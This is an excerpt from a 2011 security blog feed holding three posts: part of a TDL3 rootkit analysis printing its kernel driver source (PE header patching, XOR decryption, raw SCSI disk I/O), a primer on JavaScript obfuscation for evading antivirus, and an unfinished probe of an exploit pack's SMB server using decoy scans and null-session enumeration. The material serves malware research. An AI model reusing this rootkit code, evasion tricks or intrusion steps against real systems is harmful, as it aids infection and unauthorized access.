handler = Address(Hi Offset + Lo Offset).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;__declspec(noinline) PVOID GetNtoskrnlBase()&lt;br /&gt;{&lt;br /&gt;BYTE bIDT[6];&lt;br /&gt;PIDT_ENTRY pieIDTEntry;&lt;br /&gt;PWORD pwAddress;&lt;br /&gt;&lt;br /&gt;__asm { sidt bIDT; }&lt;br /&gt;&lt;br /&gt;pieIDTEntry=(PIDT_ENTRY)(*((PDWORD_PTR)&amp;bIDT[2])+8*0x40);&lt;br /&gt;pwAddress=PWORD(pieIDTEntry-&gt;dw64OffsetLow|(pieIDTEntry-&gt;dw64OffsetHigh&lt;&lt;16));&lt;br /&gt;do {&lt;br /&gt; pwAddress=(PWORD)ALIGNDOWN(pwAddress,PAGE_SIZE);&lt;br /&gt; if(*pwAddress=='ZM')&lt;br /&gt; { return (PVOID)pwAddress; }&lt;br /&gt;  pwAddress--;}&lt;br /&gt;  &lt;br /&gt;  while(pwAddress!=0);&lt;br /&gt;  return 0; }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;[3] Filesystem Change Routine&lt;/span&gt;&lt;br /&gt;This is specific routine utilized by TDL3 rootkit to initiate a file system filter which uses a callback function in order to provide notification to main TDL3 driver about the state of file system being registered or unregistered as an active file system. The &lt;span style="font-weight:bold;"&gt;"RtlImageNtHeader"&lt;/span&gt; returns handle to PIMAGE_NT_HEADERS and &lt;span style="font-weight:bold;"&gt;"RtlOffsetToPointer"&lt;/span&gt;  returns a pointer to the offset from a specific base address. Generally, the process characteristics are checked (primarily address) when a driver is initiated to notify about the change in the file system registration.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;NTSTATUS TDLEntry(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry)&lt;br /&gt;{&lt;br /&gt;PTDL_START ptsStart;&lt;br /&gt;PIMAGE_NT_HEADERS pinhHeader;&lt;br /&gt;&lt;br /&gt;GET_TDL_ADDRESSES-&gt;pdoDeviceDisk=(PDEVICE_OBJECT)pusRegistry;&lt;br /&gt;pinhHeader=(PIMAGE_NT_HEADERS)RtlImageNtHeader(pdoDriver-&gt;DriverStart);&lt;br /&gt;ptsStart=(PTDL_START)RtlOffsetToPointer(pdoDriver-&gt;DriverStart,&lt;br /&gt;pinhHeader-&gt;OptionalHeader.AddressOfEntryPoint+TDL_START_SIZE-sizeof(TDL_START));&lt;br /&gt;&lt;br /&gt;GET_TDL_ADDRESSES-&gt;ullFSOffset=ptsStart-&gt;ullDriverCodeOffset;&lt;br /&gt; pinhHeader-&gt;OptionalHeader.AddressOfEntryPoint=(DWORD)(DWORD_PTR)ptsStart-&gt;pdiOEP;&lt;br /&gt; pinhHeader-&gt;OptionalHeader.CheckSum=ptsStart-&gt;dwCheckSum;&lt;br /&gt;pinhHeader-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size&lt;br /&gt;=ptsStart-&gt;dwSectionSecuritySize;&lt;br /&gt; pinhHeader-&gt;OptionalHeader.DataDirectory&lt;br /&gt;[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=ptsStart-&gt;&lt;br /&gt;dwSectionSecurityVirtualAddress;&lt;br /&gt;&lt;br /&gt;GetEPNameOffset();&lt;br /&gt;*GET_TDL_ADDRESSES-&gt;cBotID=0;&lt;br /&gt;if(!NT_SUCCESS(Reinitialize(0,FALSE)))&lt;br /&gt;{&lt;br /&gt;IoRegisterFsRegistrationChange(GET_TDL_ADDRESSES-&gt;pdoDriver,&lt;br /&gt;ADDRESS_DELTA(PDRIVER_FS_NOTIFICATION,Reinitialize));&lt;br /&gt; }&lt;br /&gt; return STATUS_SUCCESS;&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;[4] Decrypting Data Routine&lt;/span&gt;&lt;br /&gt;A simple XOR based algorithm is used for decryption. Looks like for decrypting the raw data from the system or during execution.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PVOID Unxor(PVOID pvData,DWORD dwSize,BYTE bKey)&lt;br /&gt;{ DWORD dwData;&lt;br /&gt;for(dwData=0; dwData lt; dwSize;dwData++)&lt;br /&gt;{ ((PBYTE)pvData)[dwData]^=dwData+bKey;}&lt;br /&gt;return pvData;};&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;[5] Small Computer System Interface (SCSI) Command Routine&lt;/span&gt;&lt;br /&gt;TDL3 rootkit uses SCSI command routine to connect and transferring data between various peripheral devices which includes hard disks, scanners, usb etc. Since SCSI command interface is implemented as a part of device driver, TDL3 rootkit potentially exploits the command set provided by SCSI interface. The basic aim is to infect peripheral devices when these are attached to system, TDL3 rootkit device driver detects the device and sends initiates a communication routine in order to send commands to that device. This is implemented using "SCSI_REQUEST_BLOCK" structure in which &lt;span style="font-weight:bold;"&gt;"SRB_FUNCTION_EXECUTE_SCSI"&lt;/span&gt; flag is passed as value to the member function in order to execute the request on the logical device. Another flag &lt;span style="font-weight:bold;"&gt;"SRB_FLAGS_DISABLE_AUTOSENSE"&lt;/span&gt; is used to disable the request-send information should not be returned back.&lt;br /&gt;&lt;br /&gt;TDL3 rootkit also uses &lt;span style="font-weight:bold;"&gt;"IoAllocateIrp"&lt;/span&gt; in order to create IRP (I/O Request Packet) to communicate with low level drivers.&lt;span style="font-weight:bold;"&gt; "PIO_STACK_LOCATION"&lt;/span&gt; structure is used which is an entry in the I/O stack that is associated with each IRP (created by IoAllocateIrp). &lt;span style="font-weight:bold;"&gt;"IoGetNextIrpStackLocation"&lt;/span&gt; is sued to walk down the stack for accessing next low leveld river associated with same IRP (created before). TDL3 rootkit implement it as follows&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;NTSTATUS SCSICmd(PDEVICE_OBJECT pdoDevice,PDRIVER_DISPATCH pddDispatch,BYTE bOpCode,BYTE bDataIn,PVOID pvBuffer,DWORD dwBufferSize,DWORD dwAddress)&lt;br /&gt;{&lt;br /&gt; SCSI_REQUEST_BLOCK srbBuffer;&lt;br /&gt; SENSE_DATA sdData;&lt;br /&gt; IO_STATUS_BLOCK iosbStatus;&lt;br /&gt; KEVENT keEvent;&lt;br /&gt; PIRP piIrp;&lt;br /&gt; PMDL pmMdl;&lt;br /&gt; PIO_STACK_LOCATION pislStack;&lt;br /&gt;&lt;br /&gt; memset(&amp;srbBuffer,0,sizeof(srbBuffer));&lt;br /&gt; memset(&amp;sdData,0,sizeof(sdData));&lt;br /&gt; srbBuffer.Length=sizeof(srbBuffer);&lt;br /&gt; srbBuffer.Function=SRB_FUNCTION_EXECUTE_SCSI;&lt;br /&gt; srbBuffer.QueueAction=SRB_FLAGS_DISABLE_AUTOSENSE;&lt;br /&gt; srbBuffer.CdbLength=CDB10GENERIC_LENGTH;&lt;br /&gt; srbBuffer.SenseInfoBufferLength=sizeof(sdData);&lt;br /&gt; srbBuffer.SenseInfoBuffer=&amp;sdData;&lt;br /&gt; srbBuffer.DataTransferLength=dwBufferSize;&lt;br /&gt; srbBuffer.DataBuffer=pvBuffer;&lt;br /&gt; srbBuffer.TimeOutValue=5000;&lt;br /&gt; srbBuffer.QueueSortKey=dwAddress;&lt;br /&gt; srbBuffer.SrbFlags=bDataIn|SRB_FLAGS_DISABLE_AUTOSENSE;&lt;br /&gt; srbBuffer.Cdb[0]=bOpCode;&lt;br /&gt; srbBuffer.Cdb[2]=(BYTE)((dwAddress&amp;0xff000000)&gt;&gt;24); &lt;br /&gt; srbBuffer.Cdb[3]=(BYTE)((dwAddress&amp;0xff0000)&gt;&gt;16); &lt;br /&gt; srbBuffer.Cdb[4]=(BYTE)((dwAddress&amp;0xff00)&gt;&gt;8); &lt;br /&gt; srbBuffer.Cdb[5]=(BYTE)(dwAddress&amp;0xff);&lt;br /&gt; if(dwAddress!=0)&lt;br /&gt; {&lt;br /&gt;  DWORD dwSectors;&lt;br /&gt;&lt;br /&gt;  dwSectors=dwBufferSize/0x200;&lt;br /&gt;  srbBuffer.Cdb[7]=(BYTE)((dwSectors&amp;0xff00)&gt;&gt;8);&lt;br /&gt;  srbBuffer.Cdb[8]=(BYTE)(dwSectors&amp;0xff);&lt;br /&gt; }&lt;br /&gt; KeInitializeEvent(&amp;keEvent,NotificationEvent,FALSE);&lt;br /&gt; piIrp=IoAllocateIrp(pdoDevice-&gt;StackSize,FALSE);&lt;br /&gt; if(piIrp!=0)&lt;br /&gt; {&lt;br /&gt;  // Allocate Memory&lt;br /&gt;  pmMdl=IoAllocateMdl(pvBuffer,dwBufferSize,0,0,piIrp);&lt;br /&gt;  srbBuffer.OriginalRequest=piIrp;&lt;br /&gt;  piIrp-&gt;MdlAddress=pmMdl;&lt;br /&gt;  MmProbeAndLockPages(pmMdl,KernelMode,IoModifyAccess);&lt;br /&gt;  piIrp-&gt;UserIosb=&amp;iosbStatus;&lt;br /&gt;  piIrp-&gt;UserEvent=&amp;keEvent;&lt;br /&gt;  piIrp-&gt;Flags=IRP_SYNCHRONOUS_API|IRP_NOCACHE;&lt;br /&gt;  piIrp-&gt;Tail.Overlay.Thread=KeGetCurrentThread();&lt;br /&gt;  pislStack=IoGetNextIrpStackLocation(piIrp);&lt;br /&gt;  pislStack-&gt;DeviceObject=pdoDevice;&lt;br /&gt;  pislStack-&gt;MajorFunction=IRP_MJ_SCSI;&lt;br /&gt;  pislStack-&gt;Parameters.Scsi.Srb=&amp;srbBuffer;&lt;br /&gt;  piIrp-&gt;CurrentLocation--;&lt;br /&gt;  pislStack=IoGetNextIrpStackLocation(piIrp);&lt;br /&gt;  piIrp-&gt;Tail.Overlay.CurrentStackLocation=pislStack;&lt;br /&gt;  pislStack-&gt;DeviceObject=pdoDevice;&lt;br /&gt;  // Callback Function..&lt;br /&gt;  if(pddDispatch(pdoDevice,piIrp)==STATUS_PENDING)&lt;br /&gt;  {&lt;br /&gt;   KeWaitForSingleObject(&amp;keEvent,Executive,KernelMode,FALSE,0);&lt;br /&gt;  }&lt;br /&gt;  return iosbStatus.Status;&lt;br /&gt; }&lt;br /&gt; return STATUS_INSUFFICIENT_RESOURCES;&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;[6] Computing PE Checksum&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;TDL3 rootkit also computes the checksum of the required portable executable as follows&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;DWORD PEChecksum(PVOID pvData,DWORD dwSize,WORD wChecksum)&lt;br /&gt;{&lt;br /&gt;DWORD dwBytes=dwSize;&lt;br /&gt;while(dwBytes&gt;0)&lt;br /&gt;{ if(HIWORD((DWORD)wChecksum+(DWORD)*(PWORD)pvData)!=0)&lt;br /&gt;{wChecksum++;}&lt;br /&gt;wChecksum+=*(PWORD)pvData;&lt;br /&gt;dwBytes-=sizeof(WORD);&lt;br /&gt;pvData=MAKE_PTR(pvData,sizeof(WORD),PVOID);&lt;br /&gt;}&lt;br /&gt;return wChecksum+dwSize;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Hashing module is also implemented as follows&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;__declspec(noinline) DWORD HashString(PCHAR pcString)&lt;br /&gt;{&lt;br /&gt;DWORD dwResult=0;&lt;br /&gt;while(*pcString!=0)&lt;br /&gt;{ dwResult=(0x1003f*dwResult)+(DWORD)(*((PWORD)pcString++));&lt;br /&gt;}&lt;br /&gt;return dwResult;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;This discussion will be continued in the next post.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-8372396618005761975?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/8372396618005761975/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/04/tdl3-rootkit-implicit-analysis-part-1.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/8372396618005761975'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/8372396618005761975'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/04/tdl3-rootkit-implicit-analysis-part-1.html' title='TDL3 Rootkit - Implicit Analysis (Part 1)'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-AdEWdQk_4ZE/TanNLdabyDI/AAAAAAAAA5g/MNe53jtwyo0/s72-c/picture-rootkit.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-7161422524347712051</id><published>2011-04-11T15:28:00.000-07:00</published><updated>2011-04-11T15:47:02.840-07:00</updated><title type='text'>JavaScript Camouflaging - A Primer</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-tTGKbVioVK0/TaOA2kh9e0I/AAAAAAAAA5Y/NOlx14pybZU/s1600/asd.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 192px; height: 154px;" src="http://1.bp.blogspot.com/-tTGKbVioVK0/TaOA2kh9e0I/AAAAAAAAA5Y/NOlx14pybZU/s400/asd.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5594456837131696962" /&gt;&lt;/a&gt; In this discussion, we are simply walking through the nature of JavaScript obfuscation and camouflaging in order to understand the&lt;span style="font-weight:bold;"&gt; importance of dense code.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Views By:- RB and AKS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;JavaScript is a widely used language for developing application and websites on internet. JavaScript is used for positive as well as for nefarious purposes. Since it is a client side scripting language, most of the time the scripts are available for walking through them to understand the purpose. However, JavaScript obfuscation is used heavily for making JavaScript readability a hard process and at the same time beating automated detection tools. Overall, the purpose of JavaScript obfuscation is to hide the source code so that it is not possible to steal it. At the same time, this technique is also used for malicious purposes by the attacker to bypass antivirus engines in order to execute rogue code successfully. These are the two main reasons for the wide usage of JavaScript obfuscation.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Exploit Placement and Detection:&lt;/span&gt;&lt;br /&gt;Most of the Browser Exploit Packs (BEP's) use browser JavaScript rendering engine and heap spraying techniques to exploit vulnerabilities in browser. The aim is to exploit the heaps using JavaScript capabilities. Another thing that should be taken into account is the way exploit is developed and the way it is supported by JavaScript obfuscation. Consider an exploit; if it is wrapped and placed in [HTML] and [Body] tags, the antivirus engine definitely detects it. Is there a difference between handling scripts and executables by antivirus engines? Based on our analysis, antivirus engines follow a similar approach which is signature based pattern matching. A unique signature is created for antivirus engine and it is matched against the malicious script. If we talk about polymorphic code which carries self decrypting routine to reverse the script automatically, detection is not an easy process. However, for normal scripts the detection mechanism is easy. Considering the capabilities of JavaScript, being a client side language , it can be forced to execute scrambled code.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Camouflaging - Dense Code&lt;/span&gt;&lt;br /&gt;Camouflaging (increasing data density) is a very robust approach of making JavaScript’s undetectable. The critical functions such as &lt;span style="font-weight:bold;"&gt;EVAL/ENESCAPE&lt;/span&gt; are something that antivirus engines always look for. Primarily, &lt;span style="font-weight:bold;"&gt;UNESCAPE &lt;/span&gt;is used for making a readable string out of escaped data. The unescaped string is harder to read from user perspective but antivirus engines possibly detect this and flag it as malicious. Another similar functions is &lt;span style="font-weight:bold;"&gt;EVAL,&lt;/span&gt; which is used collectively with UNESCAPE to design malicious scripts. For generic JavaScript obfuscation these are used but it is executed as &lt;span style="font-weight:bold;"&gt;EVAL(UNESCAPE(............))&lt;/span&gt; in the code and combination is easily fetched as malicious. The question is these functions are required explicitly to run the code in hidden manner. Camouflaging is an art that is used by referencing these functions to different names or completely random names. A generic example is&lt;br /&gt;as follows&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;var FGHTY678 = eval;&lt;br /&gt;var VFGBH432 = unescape;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;These variables can be generated dynamically because JavaScript supports on the fly variable referencing. For hard scenarios, a robust algorithm can be structured which provides random naming of variables that points to crucial functions. We will stick to our generic examples. At this point if we use the code as follows it is still not that hard to detect by antivirus engines&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;var VFGBH432 = unescape;&lt;br /&gt;return FGHTY678(VFGBH432(....))&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;It performs the similar functionality except we can make variable names random. This process changes the signature and it makes the process tough for antivirus engines to detect it (cannot say purely undetectable). Another case which is easily detectable is as follows&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;function FGHTY678(FGATH789) { return eval(FGATH789);}&lt;br /&gt;function VFGBH432(XCVTH789) { return unescape(XCVTH789);}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Only variable names are changed but function calls remain intact and hence signature detection is easy. The above discussed points do not provide reliable way of obfuscation. One must remember that even if we have camouflaged the function calls, the escaped code is still present as argument in the &lt;span style="font-weight:bold;"&gt;UNESCAPE&lt;/span&gt; function. It is readable by the antivirus engines. Overall, the code is not fully camouflaged and obfuscated. Now let's talk about hexadecimal encoding (you can choose anyone). The question is, "How the hexadecimal encoding impacts the obfuscation?". For example: if we encode the following string "JavaScript Obfuscation", the hexadecimal looks like as&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;"4a617661536372697074204f62667573636174696f6e"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Even though for humans, it is hard to read but for computer programs it is not a big deal. Can we use JavaScript to make it more obfuscated? Yes, there are certain inbuilt string manipulation functions that we can try on. JavaScript functionality can be used to design extensible and robust codes. Mere simple encoding does not hide the signatures. JavaScript functions like &lt;span style="font-weight:bold;"&gt;REPLACE&lt;/span&gt; is of much use.  This function is used heavily in normal purposes because of its versatile nature. for example: a relative code can be structured as&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;var GHJKO786 = eval;&lt;br /&gt;var KJLHM890 = unescape;&lt;br /&gt;&lt;br /&gt;var FGHBN345 = "JavaScript-Obfuscation1JavaScript-Obfuscation2JavaScript-Obfuscation3JavaScript-Obfuscation4JavaScript-Obfuscation5JavaScript-Obfuscation6JavaScript-Obfuscation7";&lt;br /&gt;&lt;br /&gt;KJLHM890.replace(/JavaScript-Obfuscation/gi,"!@#$%^&amp;*");&lt;br /&gt;GHJKO786(KJLHM890(FGHBN345));&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The above stated code looks rigorous but it is using inbuilt JavaScript functions.&lt;span style="font-weight:bold;"&gt;"JavaScript-Obfuscation"&lt;/span&gt; is replaced with a metacharacter string &lt;span style="font-weight:bold;"&gt;"!@#$%^&amp;*"&lt;/span&gt;. The &lt;span style="font-weight:bold;"&gt;"gi"&lt;/span&gt; option in REPLACE function is used to replace the string case sensitive and it is applied as global level. Further, it is also possible to use &lt;span style="font-weight:bold;"&gt;MATH.ROUND &lt;/span&gt;and &lt;span style="font-weight:bold;"&gt;MATH.RANDOM&lt;/span&gt; functions to randomize the custom function names.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Garbage Data Mangling&lt;/span&gt;&lt;br /&gt;Garbage data serves useful with extra logic is used to place raw data in JavaScript code. The main idea behind this technique is to make the process harder for filtering actual data. Generally, it is of no use and it is not vital. This helps in resisting the signature matching process. We basically talk about logic flow in which certain logic remain true forever and scripts are placed inside that logic which execute all the time.  A similar example can be used as follows&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;var GHJKO786 = eval;&lt;br /&gt;var KJLHM890 = unescape;&lt;br /&gt;&lt;br /&gt;if (VBNHJ789 != "7890")&lt;br /&gt;{&lt;br /&gt;FGHBN345 = "JavaScript-Obfuscation1JavaScript-Obfuscation2JavaScript-Obfuscation3JavaScript-Obfuscation4JavaScript-Obfuscation5JavaScript-Obfuscation6JavaScript-Obfuscation7";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;var KJLHM890.replace(/JavaScript-Obfuscation/gi,"!@#$%^&amp;*");&lt;br /&gt;GHJKO786(KJLHM890(FGHBN345));&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In reality, the logic &lt;span style="font-weight:bold;"&gt;(VBNHJ789 != "7890") &lt;/span&gt;is never true and hence FGHBN345 string is always true and viceversa. another example can be discussed as&lt;br /&gt; &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;function RTGHY123&lt;br /&gt;{&lt;br /&gt;var FGHYU009 = "Rocky";&lt;br /&gt;for (temp =1 ; temp &lt;= 20 ; temp++) &lt;br /&gt;{ &lt;br /&gt; FJKLM765 = document.write;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if(FGHYU009 == 5678) &lt;br /&gt;{&lt;br /&gt; FJKLM765("HEYA");&lt;br /&gt;}&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The function RTGHY123 is a garbage function and does nothing but results in creating mess for the analysts and anybody.&lt;br /&gt;&lt;br /&gt;At last, there are several other methods possible for obfuscation. Our sole purpose is to discuss the effectiveness of density in encoding mechanism in JavaScript that can be used to design better obfuscator. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Nothing is impossible until it is proclaimed so.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-7161422524347712051?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/7161422524347712051/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/04/javascript-camouflaging-primer.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/7161422524347712051'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/7161422524347712051'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/04/javascript-camouflaging-primer.html' title='JavaScript Camouflaging - A Primer'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-tTGKbVioVK0/TaOA2kh9e0I/AAAAAAAAA5Y/NOlx14pybZU/s72-c/asd.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-5622818055696087831</id><published>2011-04-06T11:40:00.000-07:00</published><updated>2011-08-21T14:46:16.069-07:00</updated><title type='text'>Hacking Free Bird - SMB - Phoenix EP 2.5</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-6RnhbucIEc8/TZzBz_Ti_gI/AAAAAAAAA5I/3Xczo0bg_ho/s1600/power.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 180px; height: 180px;" src="http://4.bp.blogspot.com/-6RnhbucIEc8/TZzBz_Ti_gI/AAAAAAAAA5I/3Xczo0bg_ho/s400/power.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5592557936198221314" /&gt;&lt;/a&gt;&lt;br /&gt; &lt;br /&gt;Recently, we came across Phoenix Exploit Pack 2.5 which has included number of new Java and other exploits. We detected the hidden iframe as&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;[iframe src="http://phoenix_host/phx/index.php" width="1" height="1" frameborder="0"][/iframe]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As we know, JAVA SMB is one of the most exploited vulnerability in the recent times. In the last &lt;span style="font-weight:bold;"&gt;&lt;a href="http://secniche.blogspot.com/2011/01/black-hole-exploit-obfuscation.html"&gt;POST&lt;/a&gt;&lt;/span&gt;, we talked about exploit obfuscation in BlackHole exploit pack. However, it has been analyzed that both exploit packs use similar name  "new.avi" for the successful execution of the Java SMB exploit. Further, newer versions of the Phoenix exploit pack 2.5 includes other Java exploits as &lt;span style="font-weight:bold;"&gt;JAVA RMI, JAVA MIDI and JAVA SKYLINE&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;We have analyzed certain number of domains that used to host SMB servers which is required to trigger the Java SMB exploit appropriately. However, SMB server has to be open to the world in order to execute the exploit. It can be hosted on the same domain as of Phoenix exploit pack or it can be on different domain. During the course of this analysis, we found number of vulnerable or insecure SMB servers which were serving SMB exploit file new.avi. Securing SMB server is typically a hard task if one does not understand configuration in a right manner (script kiddies etc). We ran &lt;span style="font-weight:bold;"&gt;nmap Decoy scan &lt;/span&gt;in a stealth manner to check the presence of RPC SMB port 445 &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;nmap -P0 -A -T4 -sS phoenix_host -D 112.123.124.111 -p 445&lt;br /&gt;Starting Nmap 5.51 ( http://nmap.org ) at 2011-04-06 13:07 Eastern Daylight Time&lt;br /&gt;PORT    STATE SERVICE     VERSION&lt;br /&gt;445/tcp open  netbios-ssn Samba smbd 3.X  &lt;br /&gt; Running: Linux 2.6.X&lt;br /&gt;OS details: Linux 2.6.17 - 2.6.35&lt;br /&gt;Network Distance: 1 hop&lt;br /&gt;Host script results:&lt;br /&gt;|_nbstat: NetBIOS name: VMWARE-VIRTUAL-, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: &lt;unknown&gt;&lt;br /&gt;|_smbv2-enabled: Server doesn't support SMBv2 protocol&lt;br /&gt;| smb-os-discovery:&lt;br /&gt;|   OS: Unix (Samba 3.5.4)&lt;br /&gt;|   Name: Unknown\Unknown&lt;br /&gt;|_  System time: 2011-04-06 13:11:10 UTC-7&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;We found that phoenix host is actually running port 445. On continuous monitoring, we analyzed that SMB server was hosted on the domain serving Phoenix exploit pack. Since the port was in open state, we verified random access from our virtual machine running Win XP SP3 as follows:&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;E:\audit&gt;net use \\phoenix_host\IPC$ /user:root&lt;br /&gt;The command completed successfully.&lt;br /&gt;&lt;br /&gt;E:\audit&gt;net use \\phoenix_host\IPC$ /user:AAAAAAAA&lt;br /&gt;The command completed successfully.&lt;br /&gt;&lt;br /&gt;E:\audit&gt;net use \\phoenix_host\IPC$ /user:guest&lt;br /&gt;The command completed successfully.&lt;br /&gt;&lt;br /&gt;E:\audit&gt;net use \\phoenix_host\IPC$ /user:XXXX&lt;br /&gt;The command completed successfully.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This shows that default access was allowed on &lt;span style="font-weight:bold;"&gt;SMB server which was running in shared mode security. However, no user mode security is applied&lt;/span&gt;. In general, this can be made more restricted and shares can be accessed without querying the SMB server in default mode. Here we used, random names and all were allowed access to IPC$ which was quite rogue. We tried to get some information and was successful in getting userlist, password policy information and share list etc&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;E:\audit&gt;enum -P phoenix_host&lt;br /&gt;server:  phoenix_host&lt;br /&gt;setting up session... success.&lt;br /&gt;password policy:&lt;br /&gt;  min length: 5 chars&lt;br /&gt;  min age: none&lt;br /&gt;  max age: none&lt;br /&gt;  lockout threshold: none&lt;br /&gt;  lockout duration: 30 mins&lt;br /&gt;  lockout reset: 30 mins&lt;br /&gt;cleaning up... success.&lt;br /&gt;&lt;br /&gt;E:\audit&gt;enum -S phoenix_host&lt;br /&gt;server: phoenix_host&lt;br /&gt;connected as Chimera\Administrator, disconnecting... success.&lt;br /&gt;setting up session... success.&lt;br /&gt;enumerating shares (pass 1)... got 1 shares, 0 left:&lt;br /&gt;  IPC$&lt;br /&gt;cleaning up... success.&lt;br /&gt;&lt;br /&gt;E:\audit&gt;enum -U phoenix_host&lt;br /&gt;server: phoenix_host&lt;br /&gt;setting up session... success.&lt;br /&gt;getting user list (pass 1, index 0)... success, got 2.&lt;br /&gt;  rocky  root&lt;br /&gt;cleaning up... success.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;At this point of time we found that there were no shares enumerated. This gave us an impression that&lt;span style="font-weight:bold;"&gt; share serving "new.avi" file was not "browseable"&lt;/span&gt;. We took a look around , search over the internet and used simple combinatorial SMB URI's for accessing share as&lt;br /&gt;&lt;br /&gt;\\phoenix_host\home\new.avi&lt;br /&gt;\\phoenix_host\usr\new.avi&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;\\phoenix_host\home\smb\new.avi&lt;/span&gt;&lt;br 